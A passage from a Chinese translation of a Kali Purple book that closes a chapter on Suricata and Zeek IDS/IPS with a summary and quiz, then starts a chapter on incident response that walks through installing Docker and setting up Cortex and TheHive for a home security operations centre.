  • 社区与工具生态系统:Zeek 与学术界和研究界有着密切的联系。你可以放心地认为,几乎总会有来自教育机构的某种合作和贡献。Zeek 社区尝试专注于扩展性,并提供诸如 JSON 等知名格式。然而,Suricata 更多是由开源社区驱动的。这个社区可能包含学术界,但更多是指任何希望为该项目做出贡献的个人,并不期望获得报酬(除非他们是该组织的正式雇员)。

在这一节中,你了解了虽然 Zeek 的功能不如 Suricata 强大,但它得到了学术界的强力支持,因此它很可能始终保持最新的理念和方法。此外,由于 Zeek 是公开提供的,你还在这一节中获得了一些软件工程的额外知识。

总结

在本章中,我们探讨了 IDS 和 IPS 安全解决方案之间的区别,并讨论了每种解决方案应如何配置以便使用。我们首先关注如何检测潜在的恶意活动,因为没有检测,就无法进行预防。我们查看了这些安全解决方案如何从不同角度处理网络数据,并了解到它们不仅仅分析网络中流量的有效载荷。

我们还探讨了如何通过检查大量看似无害的数据,发现可以帮助分析人员识别出可能被人眼忽略的活动的审查模式或其他视觉线索。在这方面,我们讨论了自动化及其带来的好处与风险,例如降低劳动力成本、消除分析中的模糊性,并确保政策—可能是法律—的遵守。

在进一步精炼我们新获得的知识时,我们介绍了 Suricata,一种在开源社区中得到强力支持的广受欢迎的 IDS/IPS 解决方案,并了解了它如何通过保持与现有基于规则的技术概念的兼容性,来减少人为错误。我们学到,虽然 Suricata 提供了一定的定制功能,但 Zeek 提供的定制选项要多得多。

在学习 Zeek 的过程中,我们获得了关于软件构建的额外知识,并且对编程语言以及编译程序的概念有了基本的了解。虽然这些内容与 IDS/IPS 技术并没有直接关系,但我们理解到,掌握这些知识在我们的网络防御职业生涯中可能会带来长期的好处。在这方面,我们了解到,Zeek 允许那些希望深入编程或开发的人,创建与被检查流量相关的深入脚本程序,而这种深度且高度可定制的分析可以作为数字取证的起点。我们将在第九章中进一步探讨这一概念。

通过这一点,我们在设置、获取和存储数据方面付出了大量努力,并对其进行异常和/或潜在恶意活动的检查。所以,现在我们应该考虑当我们确认发生不良事件时该怎么做!这正是我们将在第八章中讨论的内容,随着我们开始使用 Cortex 和 TheHive 集成进行事件响应。

问题

回答以下问题,以测试你对本章的理解:

  1. IDS 和 IPS 有什么区别?

    1. IPS 主动阻止恶意活动,而 IDS 仅检测它

    2. IPS 主动阻止恶意活动,而 IDS 仅检测它

    3. 没什么——它们是一样的

    4. 潜在的数千美元的开销成本

  2. 网络活动在精确的间隔时间内发生,可能是何种潜在威胁的症状?

    1. 一个极其严格的雇主

    2. 设备上的潜在配置错误

    3. 自动化和脚本编写

    4. 一个正在向外部 C2 服务器发送信号的机器人

  3. 将程序员的代码转换为机器语言的过程被称为什么?

    1. 编译

    2. 引人注目

    3. 控制

    4. 小心翻译

  4. 什么是 HIDS?

    1. 一个由单一实体资助的 IDS

    2. 一个也可以配置为充当 IPS 的 IDS

    3. 一个放置在单一端点上以保护该设备的 IDS

    4. 以上所有

  5. 网络安全职业需要编程/编码或软件开发技能吗?

    1. 毫无疑问,若没有这些知识,你无法有效工作。

    2. 不,但它在提升你的技能并帮助你创建自动化方面具有巨大价值。

    3. 不,完全不。绝对不行。太过分了。别再找我麻烦了!

进一步阅读

想要了解更多本章讨论的主题,请查看以下资源:

第八章:安全事件与响应

到目前为止,在网络安全防御领域,我们已经涵盖了大量关于从不同来源获取数据的设置和获取过程,并研究了如何通过各种分析方法传输、组织、存储和评估数据。在讨论这些内容时,您是否曾想过,如果您分析的数据表明实际的网络攻击正在发生或已经发生,应该怎么办?毕竟,如果我们没有应对计划,那么在数据告诉我们发生了坏事时,通过所有这些工作去获取、研究和尝试解读数据,显然是没有太大意义的!

当我们的防御分析表明存在恶意活动时,我们将进入网络安全的新领域。从处理警报到采取正式行动,称为事件响应。通常,组织会有专门的工作人员,专注于应对事件,这通常是从入门级的警报处理岗位晋升的一步。

Kali Purple 提供了几种旨在帮助我们响应威胁的工具,甚至进一步通过积极搜索数据来寻找潜在未来威胁或深藏不露的威胁。这被称为从职业角度进行的威胁狩猎。在这些活动中,我们将研究一个安全编排与自动化响应SOAR)产品,它是来自 StrangeBee 公司开发的伪人工智能AI)风格的 SIEM。StrangeBee 还生产了一款名为 TheHive 的事件响应平台,我们将在此平台上花费一定时间进行设置。

这两个产品能够与广泛的威胁狩猎和情报源集成。与之前的内容不同,本章的结尾有一个小挑战部分,您可以在其中找到最适合自己兴趣的情报源和集成。并非所有工具都是 Kali Purple 默认生态系统的一部分,但您会惊讶地发现,许多工具与其兼容,并且能够进行集成。部分工具可能包括 恶意软件信息共享平台MISP)、结构化威胁信息表达STIX)和 受信自动化交换指标信息TAXII)。

到本章结束时,您将学习如何安装 Docker 容器,并创建一个包含我们在本章讨论的许多应用程序的 Docker-compose YAML 文件。预计您将涵盖以下内容:

  • 事件响应

  • Docker

  • Cortex

  • TheHive

  • 挑战!

技术要求

本章节的技术要求如下:

  • 最低要求:一台计算设备,需具备amd64 (x86_64/64 位)i386 (x86/32 位) 架构。设备必须至少配备 8 GB 内存。

  • 推荐:根据网络安全领域从业者的反馈,建议使用 amd64 (x86_64/64-bit) 架构,配备 16 GB 的内存——更多更好——以及最多 64 GB 的额外磁盘空间。

事件响应

有时,尽管我们部署了最好的技术并付出了最大的努力,坏人仍然能够突破我们的安全防线,并以某种方式对我们的信息资源造成损害。这不是我们任何人希望在职期间发生的事情,但事实上,总有一天它会发生。当这种情况发生时,那些对网络安全最有热情的人往往会感到个人受到了影响,而其他人则可能会陷入指责的竞赛中。事实是,这两种心态都没有帮助,而且很可能, breach 的实际根本原因或成功并不与任何特定分析师有关。当发生安全漏洞或其他未经授权的活动时,我们称之为事件。为了保持清醒的头脑并有效地作出有组织的反应,网络安全领域已经发展出了一项名为安全事件****响应SIR)的子领域。

SIR 通常由一组专业人员处理,有时被称为网络安全事件响应团队CSIRT)或安全事件响应团队SIRT)。你会在实际中看到这两种术语。为了简便起见,本章我们将仅使用事件响应,简称IR。IR 是一种有组织的反应方法,用于应对安全事件。它是一种放下个人情感、集中精力应对和管理已发生的安全漏洞、网络攻击或其他安全事件后果的方式。IR 包括以最准确和高效的方式检测、分析并响应安全威胁,以帮助限制或减轻任何损害。它是帮助从攻击中恢复的路径,并且为防止类似的安全事件发生提供教育机会。

一个好的 IR 框架可能包括以下内容:

  • 准备

  • 检测

  • 隔离

  • 根除

  • 恢复

  • 事件后分析——也称为事后行动评审AAR)或经验教训

当然,彻底防止安全事件的发生是最理想的情况,但我们都知道这既不现实,也不太可能。任何可以制造的东西都可以被拆解,任何可以设计的东西也可以被逆向工程。只要技术存在,就会有那些怀有恶意的人的利用方式。因此,IR(事件响应)的最终实际目标是最小化安全事件的影响,同时改善和维持受影响系统和数据的安全性与完整性。

现在你已经从商业定义的角度大致了解了什么是 IR,让我们首先通过创建一个全新的虚拟机来设置我们的 IR 环境,以避免与之前工作中使用的任何软件发生冲突。如果你需要复习这部分内容,可以回到第三章。你会惊讶于自己记得了多少。在接下来的部分,我们将从新虚拟机开始,获取并安装 Docker。

注意

由于我们打包的 Docker 容器将包括Elasticsearch,你可能已经安装了它,以及可能与已有软件冲突的其他应用程序——取决于你实验的程度,我们强烈建议你为本章创建一个新的虚拟机。

这样做的原因是,我们在这一章中打包的软件套件可以作为一个独立的 SOC 运行,并且是你之前尝试过的 ELK Stack 配置的替代方案。此外,如果你不将本章内容容器化,你很可能会遇到软件兼容性和通信冲突的问题。

如果你不遵循这个建议,准备好迎接额外的挑战吧!(顺便说一句,如果你不遵循也是完全可以的,因为这正是人们学习的方式。)

Docker

Docker可以被看作是一个网络容器。你有没有去过野餐?你是如何准备、存储和分发/携带食物的?你肯定是把它放进了一个容器里,对吧?也许你带了一个花生酱果冻三明治,或者一些水果,比如苹果或香蕉,也许是一些芹菜或者胡萝卜条,还有一盒果汁或一瓶水。然后,你把这些东西放进了一个单一的容器里。也许你叫它午餐盒,野餐篮,或者别的什么名字。重点是,你把它们都放进了一个容器里。尽管这些物品相关,但它们每个都有独特的目的,彼此协作解决一个统一的需求——你的营养需求;你的饥饿感。然而,容器不只包含这些物品,对吧?它还包含了你依赖的东西,以便顺利享受这些食物。它包括餐具、餐巾纸或湿巾,也许还有一两包调料包。它包含了依赖关系。它包含了你完成任务所需的一切,而不必四处走动去从厨房拿东西或从你最喜欢的快餐店的开放调料区填满口袋。不,容器里有你满足饥饿的所有必需品。

Docker 正是如此。它是一个午餐盒——或野餐篮——里面装着网络物品和它们所需的依赖关系。我们在本章中构建的软件套件将放在一个 Docker 容器内。完成后,它将拥有另一个基础平台,用于作为独立的 SOC,而不依赖于 ELK Stack。然而,这个工具套件确实依赖于 Elasticsearch。此外,我们还将把Apache CassandraMinio包括在内。

当你遇到具有相互依赖的大量软件时,就会遇到常规的独立软件升级,这意味着经常会有兼容性问题。我们将通过将整个套件部署在我们刚刚学习的 Docker 容器内来帮助你避免这些麻烦。

在我们安装 Docker 之前,先确保它的核心依赖项已经到位。在你全新的 Kali Purple 虚拟机中,输入以下内容:

sudo apt install apt-transport-https ca-certificates curl gnupg lsb-release

这些项目现在还确保你能够使用标准的软件包管理器安装 Docker,而不是我们在本书中迄今为止教你寻找软件的某些过时方法。可以肯定的是,当你与我们完成这段文字之旅时,你将会在未来的许多包映射和安装经历中变得更加全面和有经验。你现在可能会因为我们让你以一种困难的方式做一些事情而感到烦恼,但最终你会感谢我们。与此同时,想象演员道恩·强森(Dwayne Johnson)唱着轻快的旋律歌曲《You're Welcome!》。如果你还没听过,去 YouTube 上搜索一下。这正是你谦逊的作者的风格,只不过有更大的肌肉。

根据 kali.org,在你默认安装中可能已经有一个名为 docker 的软件包,但它不是容器化版本。由于我们不知道你在阅读本书时运行的 Kali Purple 版本,我们需要对我们的安装计划做出微调。我们将首先尝试安装一个叫做 docker.io 的软件包,如果遇到错误,你可以尝试安装默认的 docker install。这比听起来要简单。首先,在命令行输入 sudo apt update && sudo apt install -y docker.io,如果你收到警告或错误,或者在下一步之后收到错误,你可以输入 sudo apt install -y docker(不需要再次更新,因为你刚刚做过了)。如果你继续收到错误,应该输入 sudo systemctl daemon-reload,然后重启,再次尝试以下命令,如果仍然收到错误,可以第三次输入并在命令末尾加上 --now

安装完 Docker 后,你需要将它绑定为在启动或重启虚拟机时自动启动。输入 sudo systemctl enable docker

现在,让我们启动它并确保一切按预期工作。到现在为止,你一定已经熟悉这个过程了。输入 sudo systemctl start docker 来启动服务。接下来,输入 sudo systemctl status docker,它应该显示为活动(运行中),如图 8.1所示。你可以按 Ctrl + Z 来退出状态屏幕:

图 8.1 – Docker 状态屏幕

图 8.1 – Docker 状态屏幕

一旦确认 Docker 正常运行,你应该为自己设置一个命令,这样你就可以在每个命令前不再输入 sudo,方法是将自己添加到 Docker 组中。输入 sudo usermod -aG docker $USER

我们还没完成,但此时我们建议重新启动系统。给系统一点时间完全加载,然后通过输入 sudo systemctl status docker 再次检查状态,确保 Docker 已经自动启动。

现在,到了创建 YAML 文件的时候,该文件将拉取并配置我们希望在容器中拥有的资源。首先,让我们创建该文件所在的目录。输入 mkdir security-stack,为了简化操作,让我们通过输入 cd security-stack 进入该目录。现在,我们将在容器的世界里做一些相当酷的事情。想象一下几分钟前我们提到的午餐盒容器。现在,想象一个这样的午餐盒,里面有多个隔层——一个用于存放冷的和/或湿的物品,另一个用于存放干的物品。这就像在一个大容器内有多个容器一样。

Docker 为我们创建了一个工具来执行相同的操作,称为Docker Compose。我们可以通过创建自己的 YAML 文件来定义 Docker Compose 中的内容。这些文件是带有 .yml 文件扩展名的文件,你在本书中一直在编辑这些文件,以配置你所使用的应用程序。现在让我们通过输入 nano docker-compose.yml 来创建我们的文件。在 Kali Purple 实例中(除非你配置了允许主机与虚拟机之间共享剪切和粘贴),打开一个网页浏览器并访问以下网址:docs.strangebee.com/thehive/installation/docker/#quick-start

确保应用程序之间的兼容性是最新的唯一方法,就是直接从 StrangeBee 获取建议的 Docker Compose YAML 文件。这样,无论你在发布之后多久阅读这篇文章,你仍然可以成功运行 Docker Compose。在网页的 quick start 部分,复制建议的 docker compose 文件数据,并将其粘贴到你最近创建的 docker-compose.yml 文件中。数据应与图 8.2 中看到的类似,但可能会有细微的差异:

图 8.2 – StrangeBee 的 docker-compose.yml 文件开头

图 8.2 – StrangeBee 的 docker-compose.yml 文件开头

将数据粘贴到 YAML 文件中后,你可以按 Ctrl + X 退出文件,在提示时选择 Y 保存。

返回命令提示符后,我们建议输入 cat docker-compose.yml,这将显示该文件内容的只读(不可编辑)视图。与网页上的信息进行核对,然后我们强烈建议再重新启动一次系统。

在重启后,再次确认 Docker 是否正在运行,方法是输入 systemctl status docker,然后进入包含 docker-compose.yml 文件的目录,输入 cd security-stack。现在,是时候启动了!输入 docker-compose up -d,并享受在你眼前加载的各个容器,除非你被提示安装 docker-compose 命令,在这种情况下,你应该大幅度翻白眼,发出烦躁的哼声,然后按 y 安装该命令,再次尝试输入 docker-compose up -d。如果你继续遇到问题,请确保你位于包含 docker-compose.yml 文件的目录,并且系统已经重启。有时,这些技术协同工作可能需要几分钟的时间。我们发现,在这种情况下,跳起来摇动拳头发泄怒气非常有帮助。那是因为这样通常能够分散你的注意力,足够长的时间让这些技术启动并开始按预期互相通信:

图 8.3 – Docker Compose 容器加载中

图 8.3 – Docker Compose 容器加载中

容器加载完毕后,你需要了解另外两个命令。它们是 docker psdocker-compose ps。这两个命令的作用相同,都是显示所有 Docker 容器的状态。然而,它们各有其优势。docker ps 命令会在每行的开头提供容器 ID,以便你执行特定容器的命令。这些命令可能是启动、停止、暂停、恢复暂停或查看该容器的日志。然而,这些命令是通过 Docker Compose 执行的。记住,必须进入 security-stack 目录才能执行 Docker Compose 命令:

图 8.4 – docker ps 显示容器状态及容器 ID

图 8.4 – docker ps 显示容器状态及容器 ID

另一个是:

图 8.5 – Docker-compose ps 显示容器状态的总结

图 8.5 – Docker-compose ps 显示容器状态的总结

在重启后,你可能需要再次运行 docker-compose up -d 命令,以便将所有容器重新启动并运行。话虽如此,让我们开始审视这些应用程序,看看它们如何与我们在本章中创建的整体 IR 环境相关。首先是 Cortex,它是我们 IR 解决方案的核心部分。

Cortex

Cortex 是一款安全产品,旨在促进 安全编排自动化和响应SOAR)活动。许多人认为 Cortex 是事件响应中最重要的组成部分,因为它充当了一种 IR 操作系统。这是因为它与其他 IR 工具进行集成——如果你愿意,可以说是“结合”——并通过自动化创建了一个简化的 IR 工作流程。因此,Cortex 能够更直接地解决今天 SOC 和 CSIRT 以及专业安全研究人员在威胁情报和数字取证部分的 IR 过程中面临的一些常见挑战。

在安装之前,让我们先看看几个让 Cortex 与众不同的特点:

  • 分析器和响应器集成:Cortex 提供了一个非常强大的框架,用于集成和执行分析器与响应器。分析器是用于执行安全分析任务的软件工具,例如丰富可观察数据——我们在前四章中谈到了数据丰富,进行恶意软件分析,或执行来自不同数据源的查询/搜索。响应器则帮助启用自动响应操作,如隔离端点、阻止潜在恶意的 IP 地址、处理文件哈希和伪造物,或发送通知。Cortex 具有一种架构,允许集成自定义分析器和响应器,这使得使用该产品的组织能够根据其独特的业务安全需求量身定制 Cortex。

  • 可插拔架构:可插拔架构是 Cortex 的一部分,设计用于接受自定义的分析器和响应器。这是实现集成的核心。

  • RESTful API:Cortex 提供了一个 RESTful API,也常被称为 REST API,以支持与外部系统、应用程序和安全工具的无缝集成。这意味着什么?那些曾经从事或正在从事软件开发的人可能已经对这个概念有了透彻的了解。对于其他人来说,让我们稍微解释一下。

    我们已经大致讨论过什么是 API,但它到底做什么呢?应用程序接口API)是定义两个不同软件系统如何相互通信的规则。开发人员创建这些规则集,以 API 形式向外部应用程序解释它们应该如何从编程角度与自己的应用程序进行交互。

    REST的缩写代表表现性状态转移,这是一种提供 API 工作指南的软件架构。它有点像“谁来监管监管者”的情况,监管者是设定规则的 API,而则是 REST。它的创建理念是帮助管理最复杂互联网网络中的应用程序间通信。它因其有助于高性能而著称,这意味着我们这些普通人可以享受更快的应用加载和数据检索。REST 提供了对跨平台可移植性通信、实现和修改的高可见性。它是无状态的,这意味着所有必要的数据必须包含在客户端和服务器之间的通信中,因为服务器不会存储或记录客户端的连接状态。如果你希望深入了解 RESTful API,有很多资源可以参考。我们将在本章末尾的进一步阅读部分提供几个链接。

  • 多租户:Cortex 特别有用的一个原因是它实现了多租户支持。你们中的一些人可能会听到这个术语,并认为它意味着单一实例的 Cortex 可以处理多个组织或客户。是的,这是对的,但它不仅仅是这个意思。多租户还可以指基于组织单元、团队或特定使用场景的更精确的分割。这可以帮助大规模组织管理多个不相关的场景,同时通过人员分工来实施职能分离。职能分离是为了确保没有单个人拥有任何环境中所有的安全和访问权限,从而减少来自内部威胁的潜在损害。请记住,内部威胁并不总是出于恶意。一个超级优秀、诚实且表现出色的员工,如果因为某种简单的错误(可能根本没有他们的错)而造成问题,在网络安全中也被视为内部威胁。这里的关键点是,Cortex 允许在其部署中进行分割。

  • 可扩展性和性能:我们已经讨论过,当可扩展性应用于技术时,意味着能够在不对组织资源的可用性产生负面影响的情况下,顺畅且可能突然地增加技术的规模和范围。这又是一个软件开发人员考虑CIA 三元组A的例子,我们在第一章中提到过。Cortex 的设计是为了高效处理大量信息,同时保持高性能和可靠性,以支持安全操作。

  • 与 TheHive 的集成:Cortex 与 TheHive 紧密集成,我们将在下一节中讨论它。实际上,它是由与 TheHive 相同的团队创建的。简而言之,TheHive 将可观察的安全信息提交给 Cortex,Cortex 通过自动化处理这些信息,然后再返回 TheHive 进行更简化高效的分析,并在必要时进行调查和响应。

现在我们已经概述了 Cortex 是什么,它的主要功能是什么,以及它能做些什么,我们应该去“玩泥巴”了。比起盯着它看,这要有趣得多,不是吗?与之前的章节不同,我们不需要逐步安装本章和下一章中的任何包,因为这些包和它们的依赖项已经通过 Docker Compose 安装好了。所以,现在我们只需要确保一切仍在正常运行——以防你在阅读这一部分后休息过一段时间。请复习本节末尾的截图,查看 docker-compose psdocker ps。无论是重新启动任何停止的进程,还是通过输入 docker-compose up -d 来重启整个组,都可以。非常重要的一点是,您在此过程中需要保持耐心。当你在下一步尝试在浏览器中加载 Cortex 时,如果 Cortex 背景中仍在加载,你可能会遇到错误。只需等待一两分钟,然后再试一次。

你可以通过网页浏览器访问 Cortex。根据你的个人设置,你需要确保在 Kali Purple 虚拟机实例中启用了端口转发,将端口 9001 分配给 Cortex 访问。你可以查看 第五章,如果你需要复习 端口转发。既然如此,我们现在就把所有的端口转发都设置好。这样我们就不需要再回头了。根据 图 8.6,转发端口 80443900090019042909092009300

图 8.6 – 此虚拟机实例所需的端口转发

图 8.6 – 此虚拟机实例所需的端口转发

当端口转发设置完成后,打开你喜欢的浏览器(主机或客户操作系统),并将 URL 指向 127.0.0.1:9001,此时可能会提示你让 Cortex 更新其数据库,如 图 8.7 所示:

图 8.7 – Cortex 初始访问请求数据库更新

图 8.7 – Cortex 初始访问请求数据库更新

选择更新数据库按钮,你将被提示创建管理员帐户,如图 8.8所示。为了明确说明,你在登录字段中输入的值将成为用户名。在名称字段中输入的值仅仅是帐户类型的标识。如你所见,我们将我们的超级管理员命名为Packt Super Admin。填写所需的值后,选择创建按钮继续:

图 8.8 – Cortex 初始管理员帐户创建

图 8.8 – Cortex 初始管理员帐户创建

你将被重定向到常规登录页面,这是你以后每次访问 Cortex 时看到的页面。现在,你可以使用刚刚创建的凭据进行登录:

图 8.9 – 初始管理员帐户创建后的默认 Cortex 登录界面

图 8.9 – 初始管理员帐户创建后的默认 Cortex 登录界面

你可能记得我们之前讨论过 Cortex 如何支持多租户功能。也就是说,它支持一种碎片化的设置,在这种设置中,如果用户组之间的任务没有关联,或者不属于同一个公司或团队,那么这些用户组可以彼此隔离。登录后立即加载的页面是我们开始管理这种多租户功能的地方。不要被Organizations(组织)标签所误导。它本来也可以被标记为Segments(分段)、Teams(团队)、Pods(小组),或几乎任何描述与其他组隔离的术语。正是在这里,你将创建你的组织,如图 8.10所示:

图 8.10 – Cortex 组织和用户标签,用于多租户管理

图 8.10 – Cortex 组织和用户标签,用于多租户管理

在前面的截图中,如果你查看右上方的导航栏,在已登录的用户名旁边,你还可以看到一个Users(用户)选项。在这里,你可以创建和管理额外的用户,包括分配角色和权限。

选择Organizations(组织)标签。在这里,你可以创建新组织并管理现有的组织。继续选择左上角的+ 添加组织按钮,创建一个新组织。此时,这一步非常直观。在名称字段中输入你的组织名称,在描述字段中输入组织的描述。图 8.11展示了一个示例。完成后,选择保存

图 8.11 – 在 Cortex 中创建一个组织

图 8.11 – 在 Cortex 中创建一个组织

现在,让我们创建一个用户并将其添加到该组织中。选择Users(用户)标签。在这里,你会注意到我们还有创建 API 密钥进行身份验证或完全锁定帐户的选项。正是通过此功能,你可以将 TheHive 与 Cortex 集成。首先,创建用户。

选择页面左上角的添加用户按钮以创建一个新用户:

图 8.12 – Cortex 添加用户按钮

图 8.12 – Cortex 添加用户按钮

你将创建一个名为TheHive的用户,根据你组织的设置以及与你的客户组织可能建立的服务水平协议SLAs),将原始用户赋予一般管理角色以及阅读和分析权限,可能是一个不错的做法,因为组织的管理员很可能是你为其创建的第一个账户。当然,也有可能你安排的组织没有专门的管理员——如果你或你的组织提供此类服务,而不是让客户自己在你的环境中管理自己的组织:

图 8.13 – Cortex 添加用户窗口

图 8.13 – Cortex 添加用户窗口

你可能已经注意到没有设置密码的选项。这个选项会在你点击保存用户并返回到默认的用户界面后出现,正如你在图 8.13中看到的。你会注意到第一行提供了编辑密码的机会。这就是当密码已存在时所显示的内容。

当需要从头创建密码时,系统会提供创建新密码的选项,正如你在第二行中看到的。为此,请点击新密码,此时按钮会被替换为一个输入框。将密码输入该框中并按下键盘上的Enter键。之后,你需要刷新页面,按钮显示才会切换为编辑密码

你还会注意到在第二行的最右端,你有一个锁定用户的选项。这将适用于你创建的每个用户,除了默认的超级用户。这个选项应该很容易理解:它会锁定用户并阻止他们访问 Cortex:

图 8.14 – 编辑密码、新密码、创建 API 密钥和锁定

图 8.14 – 编辑密码、新密码、创建 API 密钥和锁定

最后,让我们为用户创建一个 API 密钥。对于你刚刚创建的用户,点击创建 API 密钥按钮,它会创建 API 密钥,并将界面变为三个按钮选项——更新撤销显示,正如你在图 8.14的第一行中看到的。要查看 Cortex 为你创建的 API 密钥,请点击显示按钮,会出现一个显示密钥的框,正如你在图 8.15的第二行中看到的:

图 8.15 – 创建、更新、撤销并复制 API 密钥

图 8.15 – 创建、更新、撤销并复制 API 密钥

为了节省空间,API 被截断,你只能看到它的开头。没关系,因为像你们这些敏锐的观察者已经注意到,复制内容的国际符号位于截断的 API 密钥字段右侧的小框内。选择这个带有两张纸的图标,将自动复制你的 API 密钥到剪贴板。将该值记录在安全的位置,并在任何时候需要使用这个特定用户将其他工具与 Cortex 集成时进行参考。记得注意这个用户的用途。它们不必是独立的个人;它们可以是服务账户。某些更复杂的设置可能会有多个服务账户,用于与其他工具进行集成。

这个功能是整个部分的核心内容。在完成下一部分后,你应该开始能够想象 IR 工具 TheHive 如何与 SOAR 产品集成,而 SOAR 产品本身又与我们在本书开始时了解的 Elasticsearch 数据库进行集成。

在这一部分中,你了解了 SOAR 用于管理和自动化与整体事件响应过程相关的安全任务,而 Cortex 就是这样的一个产品。你还了解了《Kali Purple 入门》中的各个产品如何设计成协同工作,任何花时间完全实施和集成这些产品的人都能打造一个自建的 SOC。你现在已经安装并配置了 Cortex,以及 TheHive 的一些元素,我们将在下一部分深入探讨这些内容。话虽如此,让我们继续讨论 TheHive,这是一个利用 Cortex 功能并填补一些尚未覆盖的空白的应用程序。

TheHive

Kali Purple 提供 TheHive 作为一个开源 安全事件响应平台 (SIRP)。TheHive 现在归 StrangeBee 公司的旗下。StrangeBee 由 Jerome Leonard、Nabil Adouani 和 Thomas Franco 共同创办,他们也是 TheHive 的创造者。StrangeBee 旗下还有一个名为 Cortex 的产品,你应该已经很熟悉,因为我们刚刚在上一部分讨论过它。TheHive 是一个 SIRP,旨在与 Cortex 和广为人知的 MISP 集成。如果你目前从事网络安全工作,很可能已经使用过 MISP。我们将在下一部分中讨论 MISP。

TheHive 是为了简化管理安全事件的过程而构建的。创建者意识到,实现简化的最佳方式是确保每个人都能访问相同的威胁数据,因此与 MISP 的集成应运而生,MISP 是专门为此目的构建的。TheHive 配备了全面的 IR 功能和增强功能。让我们从全局视角来看一下这些功能和增强:

  • 案例管理:TheHive 提供了一个集中管理安全事件案例的地方。网络安全分析人员可以创建、更新并跟踪各个案例的进展,为事件处理提供一种结构化和有序的方式。事实上,你可以通过输入案例 ID 快速访问,或者像图 8.16所示,从 TheHive 的 GUI 顶部工具栏创建一个全新的案例:

图 8.16 – TheHive 案例创建

图 8.16 – TheHive 案例创建

  • 任务管理:该产品允许用户通过赋予他们权限来管理任务,从而精确分配和跟踪与特定事件响应场景相关的任务。这个功能让分析人员之间有了责任感,更进一步促进了协作和协调。

  • 可观察项管理:可观察项是分析人员可以直接看到的、可能值得单独分类和追踪的项目。这是因为它们可能以某种形式影响多个事件响应案例。进一步解释:想象一下一个 IP 地址,其 OSINT 声誉很差,并且通常被认为是恶意的。通过单独追踪这个 IP 地址,分析人员将能够将恶意活动与多个事件响应场景关联起来,如果该地址发起了一个广泛的恶意攻击活动,如钓鱼攻击,这种事件可能会影响许多不同的组织,并涉及多个事件响应场景。IP 地址是分析人员可以直接看到的,因此它们是可观察的。其他可观察项可能包括域名、URL 和哈希值。在 TheHive 中,分析人员可以分类和追踪这些可观察项,以便更有效地进行事件响应。

  • 报告与分析:了解我们潜在的弱点对一个成熟的 SOC 至关重要。这个安全解决方案包含报告和分析工具,允许用户生成全面的安全事件报告。他们还可以利用软件报告安全趋势和性能指标。这个功能使组织能够深入了解自身的安全状况以及各自的事件响应能力。

  • 协作:我们已经讨论过几次了,这一点非常重要,无法过分强调。这个安全解决方案将协作作为一个关键特性,因为它是 TheHive 操作方式的核心价值之一。通过为事件响应者提供共享工作空间,协作得以实现,这样他们就可以一起解决面临的安全事件。这个设置确保了协作能够实时发生,为 IR 人员提供了分享见解、知识和最佳实践的方式,随时应需而生。

  • 剧本自动化:网络安全分析师可以在 TheHive 中创建和执行自动化的剧本。剧本是针对常见事件响应场景的预定义工作流。如果你想象一下你可能在学校时学过或创建过的流程图,工作流大致是同样的东西。它是一步步的纠正行动的可视化流程,用于应对特定的安全事件。剧本就是这些工作流的预先设置,目的是为统一响应服务,通常会自动化,以便为任何重复性的任务创造一种流畅的处理方式,从而确保对安全事件的一致且有效的响应。它还可以节省大量的人力互动时间,并避免人为错误。

  • 集成:TheHive 提供与各种安全工具和平台的集成,实现无缝的数据共享和事件响应活动的编排。这些集成包括 Cortex、MISP、Active Directory:

    • 轻量级目录访问协议LDAP)、Active Directory 联邦服务ADFS)、电子邮件服务、其他报告和指标平台、SIEM 和 SOAR 平台、威胁情报源,以及其他协作和沟通工具。这些集成促进了 TheHive 与其他安全解决方案之间的互操作性增强。
  • 自定义:TheHive 用户可以通过创建个性化的模板、剧本和仪表板,定制符合其组织特定 IR 需求的体验。

  • 可扩展性:正如你可能已经知道的,可扩展性指的是一个系统、网络或流程处理日益增长的工作量的能力,有时这种增长是迅速且出乎意料的,或者至少具有快速扩展以应对组织增长的潜力。它通常只在讨论软件和技术的上下文中使用。可扩展性这个词本身通常用于指快速适应资源需求增加的需要,而不妥协产品的性能、可靠性或功能。可扩展性被认为是 TheHive 的一个能力。

  • 历史数据保留:任何安全导向的应用程序都必须具备的一个功能是保存事件发生的历史。我们可以整天讨论为什么这是必要的,包括经验教训、趋势分析、为未来的分析师提供潜在的解决方案线索、法医调查、政府法规、在法律诉讼中作为证明,或者仅仅是为持续的流程改进提供知识。TheHive 保存了历史事件数据,并提供了一个包含过去安全事件及其解决方案的存储库。

当你准备好访问 TheHive 时,打开另一个浏览器标签页,将网址指向 127.0.0.1:9000,你将看到登录界面。幸运的是,TheHive 已经为你创建了一个默认的管理员账户,正如 图 8.17 所示。你初次登录时将使用该账户。请输入 admin 作为用户名,secret 作为密码。然后点击 Let me in 按钮正式登录:

图 8.17 – TheHive 默认登录界面

图 8.17 – TheHive 默认登录界面

在你首次登录后,你可能会注意到没有我们之前提到的案例管理和创建案例的功能。这是因为管理员角色用于管理组织和用户,而不是管理案例本身。用户将负责管理案例。因此,你首先需要做的事情是创建一个分配了分析员角色的用户,这样你就可以用这个用户来创建和管理案例了!然而,为了创建一个拥有分析员角色的用户,我们首先需要有一个可以提供该角色的组织。默认的管理员组织不足以创建任何非管理员用户。

由于我们正在首次设置 TheHive,系统中不会已经有符合要求的组织选项。所以,我们需要创建一个。事实上,我们将创建一个与在 Cortex 中创建的完全相同的组织!在默认视图的左侧列中,选择 Organisations 字段,如 图 8.18 所示,然后选择顶部功能区最左侧的加号图标:

图 8.18 – TheHive – 创建组织

图 8.18 – TheHive – 创建组织

主界面将变灰,你将看到右侧弹出一个窗口,要求你填写要创建的组织的详细信息:

图 8.19 – 创建组织时,TheHive 主界面变灰

图 8.19 – 创建组织时,TheHive 主界面变灰

继续填写我们在 Cortex 中为 TheHive 组织创建时所使用的所有相同详细信息。目前,将任务共享规则可观察数据共享规则设置为手动。任务的自动共享是为那些在项目中共同合作的团队准备的。我们现在只会为这个组织创建一个用户。然而,如果我们要为整个团队分配该组织,可能会考虑将任务共享规则设置为自动共享,这样团队成员就可以平等地了解和参与任务的解决。可观察数据共享规则用于共享可观察数据,如妥协指标IoCs)或从威胁情报源中获取的信息。将其设置为自动共享有助于及时将关键信息传播给相关利益方。点击屏幕右下角的确认按钮,完成组织创建:

图 8.20 – TheHive – 创建组织页面

图 8.20 – TheHive – 创建组织页面

弹出窗口将消失。然而,由于它是一个弹出窗口而不是另一个页面,因此您可能需要刷新页面才能让新的组织出现在默认列表中。我们建议您先等待 10 到 20 秒。给应用程序一些时间进行后台操作:

